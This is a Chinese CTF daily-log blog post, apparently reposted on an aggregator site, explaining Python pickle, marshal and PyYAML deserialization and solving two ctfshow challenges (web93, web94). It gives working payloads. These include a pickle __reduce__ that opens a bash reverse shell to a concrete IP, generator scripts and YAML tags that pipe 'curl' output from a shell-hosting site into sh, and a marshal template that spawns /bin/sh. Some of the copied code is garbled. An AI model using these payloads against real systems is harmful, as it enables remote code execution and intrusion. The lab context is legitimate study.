Jay17 2023.8.10日报

这篇具有很好参考价值的文章主要介绍了Jay17 2023.8.10日报。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

笔记

【python反序列化】

序列化
类对象->字节流(字符串)

反序列化
字节流->对象

python反序列化没PHP这么灵活,没这么多魔术方法。


import pickle
import os

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):
	return username=="admin" and password=="123456"

c=ctfshow()

data=c.login(“admin”,“123456”) #返回True

print(data)


import pickle
import os
import base64

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):
	return username=="admin" and password=="123456"
	
#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):
	print("reduce")
	
	return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)



c=ctfshow()

#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod,可以CV。
#print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)

#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)


注意点:
向服务端传入payload,如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。

服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

python序列化常用的模板: //例题93
1 pickle
2 json

【特征:】
竟然不需要 恶意类

反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法




Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

模板:
import base64
import pickle
import marshal

def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code

shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))




PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

payload:
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]




题解wp

web93

题目要求我们在/unserialize路由POST提交一个参数data,data经过base64编码。

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

不知道题目的考点,先传参data=MQ==看看报错。MQ==1的base64编码。

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

发现了关键代码,pickle反序列化。pytohn版本是3.8

#base64解码传进来的值,并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']

生成payload的脚本:

import pickle
import os
import base64

class ctfshow():
	def __init__(self):
		self.username=0
		self.password=0
		
	#相当于PHP里面的__wakeup()
	#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
	#第二个元素是一个元组,包含两个及以上元素。
	def __reduce__(self):
		print("reduce")
		
		#弹shell
		return (os.system,('curl https://your-shell.com/vps-ip:port | sh',))
	
c=ctfshow()

#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod,可以CV。
print(base64.b64encode(serialize))

#反序列化,执行命令
#pickle.loads(serialize)

#写入文件
#with open("ctfshow.ser","wb") as f:
#	pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
#	pickle.load(f)

注意点:

向服务端传入payload,如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

同时,python版本也需要一致。

KALI是linux,在KALI里面生成payload。

那就又来了一个注意点

一开始一直报错:

partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

尝试过重装pickle库、重装pip,都没用。后来发现是文件名和pickle库的名字重了,文件名不能是pickle.py

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

经过尝试,服务端应该是把ncbash两个命令给ban了,只能用平台来弹shell。

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

web94

题目明显提示是python中的PyYAML 反序列化。

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

PyYAML 反序列化利用方面,危险标签有三种。

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

这次还是选择使用平台来反弹shell,估计还是把ncbash两个命令给ban了。

经过尝试,能用的危险标签是!!python/object/new!!python/object/apply

payload:

data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全

直接拿flag了。

Jay17 2023.8.10日报,日报专栏,android,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-638559.html

到了这里,关于Jay17 2023.8.10日报的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 设计安全高效网络的17个关键策略

    随着越来越多的业务流程走向数字化,拥有一个强大可靠的网络能够处理日益增长的日常流量对于维持生产力和服务至关重要。同时,网络攻击者永远不会停滞不前,每家组织都是潜在的目标。 技术领导者及其团队比以往任何时候更知道设计一种网络架构的重要性,以便提供

    2024年02月03日
    浏览(39)
  • 【网络安全】MS17-010“永恒之蓝”漏洞的利用

    导语 最近学期末进行网络安全实训,老师要求每个小组选择一个方向进行研究,本篇将讲述“永恒之蓝”漏洞的简单利用。 一、实验原理 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,电脑只要开机,攻

    2024年02月07日
    浏览(45)
  • 网络安全入门第一课—永恒之蓝(ms17-010)

    目录 一、永恒之蓝(Eternal Blue) 二、实验环境 1.软件:VMware Workstations14 以上版本 2.虚拟机:Kali-Linux、Windows 7  三、永恒之蓝实验 1.打开终端使用命令行查看ip地址,并测试是否能互通 2. 主机发现 3.启动msf 4.查看漏洞模块 5.扫描过程 6.攻击过程 7.显示远程主机系统信息: s

    2024年02月08日
    浏览(51)
  • [网络安全]upload-labs Pass-17 解题详析

    读者可参考、订阅专栏:Upload-Labs靶场攻防实战 蚁剑工具的使用可参考: [网络安全]AntSword(蚁剑)实战解题详析(入门) [网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集 后端逻辑代码: imagecreatefrompng是PHP中的一个函数,用于创建一个新的图像资源对象,并从PNG格

    2024年02月06日
    浏览(37)
  • 【网络安全】网络安全威胁实时地图 - 2023

    360 APT全景雷达 瑞星云安全 瑞星网络威胁态势感知平台 Bitdefender 提供的网络威胁地图服务的官方网站。 Bitdefender 的威胁地图可以显示全球网络威胁的实时情况。通过该地图,您可以了解各种类型的网络攻击,如恶意软件感染、攻击来源地、受攻击的目标和攻击类型等信息。

    2024年02月14日
    浏览(57)
  • 【吃透网络安全】2023软考网络管理员考点网络安全(二)网络攻击详解

    黑客的攻击手段介绍,常见的网络攻击,软考网络管理员常考知识点,软考网络管理员网络安全,网络管理员考点汇总。 后面还有更多续篇希望大家能给个赞哈,这边提供个快捷入口! 第一节网络管理员考点网络安全(1)之安全基础 第二节网络管理员考点网络安全(2)之

    2024年02月13日
    浏览(51)
  • 防止网络攻击的10大网络安全措施

    网络攻击每天都在发生。事实上,每天有超2000次的攻击是针对连接了互联网且未受保护的系统,大概每39s就会发生一次。网络攻击导致的数据泄露、敏感信息被盗、财务损失、声誉受损都给企业及个人带来威胁。随着各大企业对数字系统的依赖,网络威胁已成为当下面临的主

    2023年04月08日
    浏览(92)
  • 2023年网络安全竞赛——网络安全应急响应Server2228

    网络安全应急响应 任务环境说明: ü 服务器场景:Server2228(开放链接) ü 用户名:root,密码:p@ssw0rd123 1. 找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交; 使用用户名和密码登录系统,如下图 在 Linux 中,可以使用 “alias” 命令查看当前系统中定义的所有

    2024年02月10日
    浏览(35)
  • 2023网络安全十大顶级工具

    从事网络安全工作,手上自然离不开一些重要的网络安全工具。今天,分享10大网络安全工具。 Kali 是一个基于 Debian 的 Linux 发行版。它的目标就是为了简单:在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个目标。大多数做安全测试的开源工具都被囊括

    2024年02月04日
    浏览(46)
  • 2023我们如何做好网络安全

    虽然新的一年刚开始, 但是从去年一年的频繁发生的网络攻击事件能看出,今年的网络安全事件也不会少,网络环境是日益严峻。目前用户对安全需求只会越来越多,那么我们该怎么做好网络安全,来预防可能会有的网络攻击情况,保障自身业务的安全运营。 想要有效应对

    2023年04月09日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包